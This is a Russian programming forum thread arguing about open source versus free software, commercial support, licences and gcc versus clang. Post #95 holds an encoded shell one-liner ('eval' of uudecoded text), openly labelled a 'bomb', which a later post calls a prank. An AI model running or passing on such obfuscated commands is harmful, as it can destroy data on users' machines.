Наши проекты:
Журнал · Discuz!ML · Wiki · DRKB · Помощь проекту |
||
ПРАВИЛА | FAQ | Помощь | Поиск | Участники | Календарь | Избранное | RSS |
[18.119.160.154] |
|
Страницы: (11) « Первая ... 5 6 [7] 8 9 ... Последняя » все ( Перейти к последнему сообщению ) |
Сообщ.
#91
,
|
|
|
Это так: покупаешь программу и получаешь в дополнение к исполняемому файлу исходники, например. Open Source != бесплатный Free Software != бесплатный "Free" in "Free software" is like "free" in "freedome", not "free beer". https://www.gnu.org/philosophy/free-sw.en.h...e%20is%20gratis. Добавлено Цитата Qraizer @ Давай будем честны. Многие другие области не хотят иметь подробную документацию, а не не нуждаются в ней. Просто не видят в ней профита в денежном эквиваленте. И я их не осуждаю, не думай чего лишнего, просто вместо осуждения не нуждающихся я хвалю тех, кто заморочился. Давай будем предельно честны: на практике они действительно не нуждаются, т.к. польза от отказа от таких жёстких требований выше, чем польза от их соблюдения, а недостатки наоборот меньше. Один чел, не помню имени, написал mail-сервер на Си и формально (математически) доказал корректность его работы (или отсутствие багов, не помню точно). Кто им пользуется? Никто. На хабре была байка про двух программистов (не могу найти): один усердно проектировал, а другой методом херак-херак-и-в-продакшн наладил успешный бизнес, пока первый, пардон, надрачивал на архитектуру и т.п. Не понимаю, почему ты не считаешь целесообразность значимым критерием. |
Сообщ.
#92
,
|
|
|
Цитата scrambrella @ В коммерческом ПО есть хоть какая то гарантия, что оно рабочее. Найдя баг, есть к кому обратиться. Что-то баги в Cyberpunk 2077 до сих пор не исправлены... Добавлено Что за чушь? https://en.wikipedia.org/wiki/POSIX#Versions |
Сообщ.
#93
,
|
|
|
Цитата korvin @ Это так: покупаешь программу и получаешь в дополнение к исполняемому файлу исходники, например. Open Source != бесплатный Free Software != бесплатный Open Source кторым я пользовался последнии лет 15 на 90% бесплатный, вот вчера два часа угробил на баг за который никто не отвечает, и такое сплошь и рядом а что значит Free Software ? |
Сообщ.
#94
,
|
|
|
Цитата sergioK @ Open Source кторым я пользовался последнии лет 15 на 90% бесплатный, Уверен, что ты всегда читаешь лицензионные соглашения? И что не встраиваешь в свой софт бомбу? |
Сообщ.
#95
,
|
|
|
Осторожно, бомба
eval $(echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode) Прочитав соглашение по ссылке выше, можете встроить её в свой софт |
Сообщ.
#96
,
|
|
|
Продают-то не текст, а работающий софт, а то и какие-то варианты подписки. Система монетизации может быть совершенно разной. Ну и про лицензии выше писали. Ещё интересный момент. Сейчас большинство реализаций языков программирования являются open source. Даже для C++ две лучшие реализации компилятора (gcc и clang) - open source. |
Сообщ.
#97
,
|
|
|
Цитата D_KEY @ Даже для C++ две лучшие реализации компилятора (gcc и clang) - open source. gcc оцтой полный, багнутое говно, которое не может комплировать что то более сложное, чем Hello world |
Сообщ.
#98
,
|
|
|
Цитата sergioK @ Open Source кторым я пользовался последнии лет 15 на 90% бесплатный И что? Цитата sergioK @ а что значит Free Software ? https://www.fsf.org |
Сообщ.
#99
,
|
|
|
Цитата korvin @ Цитата scrambrella @ В коммерческом ПО есть хоть какая то гарантия, что оно рабочее. Найдя баг, есть к кому обратиться. Что-то баги в Cyberpunk 2077 до сих пор не исправлены... В играх не баги, а фичи. |
Сообщ.
#100
,
|
|
|
Цитата Wound @ Цитата D_KEY @ Даже для C++ две лучшие реализации компилятора (gcc и clang) - open source. gcc оцтой полный, багнутое говно, которое не может комплировать что то более сложное, чем Hello world Да не, отличный компилятор. Clang мне чуть больше нравится, но я бы не сказал, что такое уж большое преимущество. С какими проблемами ты столкнулся? Поделись. |
Сообщ.
#101
,
|
|
|
Цитата kopilov @ Осторожно, бомба eval $(echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode) Прочитав соглашение по ссылке выше, можете встроить её в свой софт Прикол для школьников-задротов. Не сидите под рутом. |
Сообщ.
#102
,
|
|
|
Цитата Wound @ gcc оцтой полный, багнутое говно, которое не может комплировать что то более сложное, чем Hello world Ядро Линуха? |
Сообщ.
#103
,
|
|
|
Цитата Fester @ Цитата sergioK @ Open Source кторым я пользовался последнии лет 15 на 90% бесплатный, Уверен, что ты всегда читаешь лицензионные соглашения? И что не встраиваешь в свой софт бомбу? Я то как раз читаю, а вот начальство не всегда, ну им и отвечать если что. |
Сообщ.
#104
,
|
|
|
Цитата sergioK @ Я то как раз читаю, а вот начальство не всегда, ну им и отвечать если что. А ты уверен в их компетенции? Я бы лишний раз спросил. Вообще в компаниях обычно есть люди, которые занимаются этими вопросами профессионально |
Сообщ.
#105
,
|
|
|
Цитата D_KEY @ Ещё интересный момент. Сейчас большинство реализаций языков программирования являются open source. Даже для C++ две лучшие реализации компилятора (gcc и clang) - open source. И бесплатными, или кто платил то есть никто за ущерб не отвечает, В внутри IDE баг в рализации гита, merge стирает мои файлы, потерял три дня, кто за такое отвечаеть должен ? GCC и прочее бесплатны, но если тебе вдруг надо что-то нестандарстное то без их саппорта никуда, и там то ты заплатишь так что мама не горюй, или вместе с железом тебе далии его бесплатно, и таже песня, в начеле 2000 когда покупали VS и было четкая докуметация, было куда проще работать, да и какого черта ради документации Я должен идти в интернет? кторый и тормозить может, мне как по попался фрейворк с chm файлами, так работать одно удовольствие. Ну и открытый код, нужен только если что-то очень узкое надо, Зачем мне смотреть в код например My SQL? Что оно мне даст ? В Яву раньше лазал, счас перестал, слишком много, и пользы чуть выше нуля, |